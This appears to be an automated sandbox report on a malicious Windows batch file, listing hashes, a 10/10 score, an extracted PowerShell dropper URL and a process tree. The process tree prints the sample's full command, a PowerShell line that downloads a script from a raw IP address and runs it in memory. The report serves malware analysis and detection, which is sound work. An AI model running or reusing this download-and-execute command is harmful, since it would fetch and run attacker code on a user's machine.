Overview

overview

10

Static

static

HtYRZhCc.bat

windows7_x64

10

HtYRZhCc.bat

windows10_x64

10

Analysis

  • max time kernel
    105s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v200217
  • submitted
    01-03-2020 04:10

Sharing

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General

  • Target

    HtYRZhCc.bat

  • Size

    189B

  • MD5

    d0eafb36abcfd1c15e9bef86bcf280b0

  • SHA1

    c4c71e785acaa2543c8ff32db8dbbf49761b78dd

  • SHA256

    2f8423a9b51942cea3d3e71e185c4e5780a8dc51cfc5fc0d84d08ad9efe067a5

  • SHA512

    f75e1a19ca43ab9fbb7e99cdebce8ceca51922258cff04724e811eecfee88a050b1c496580a498ecc845c67abf7ce14b37bf80c0f4fd9d5c300d4bff1b8c9cd5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/HtYRZhCc

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\HtYRZhCc.bat"
    1⤵
      PID:4020
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/HtYRZhCc');Invoke-HELKUY;Start-Sleep -s 10000"
        2⤵
          PID:4056
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4056 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:3524

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • memory/3524-0-0x0000000004A20000-0x0000000004A21000-memory.dmp

        Filesize

        4KB

        Download

      • memory/3524-1-0x0000000005150000-0x0000000005151000-memory.dmp

        Filesize

        4KB

        Download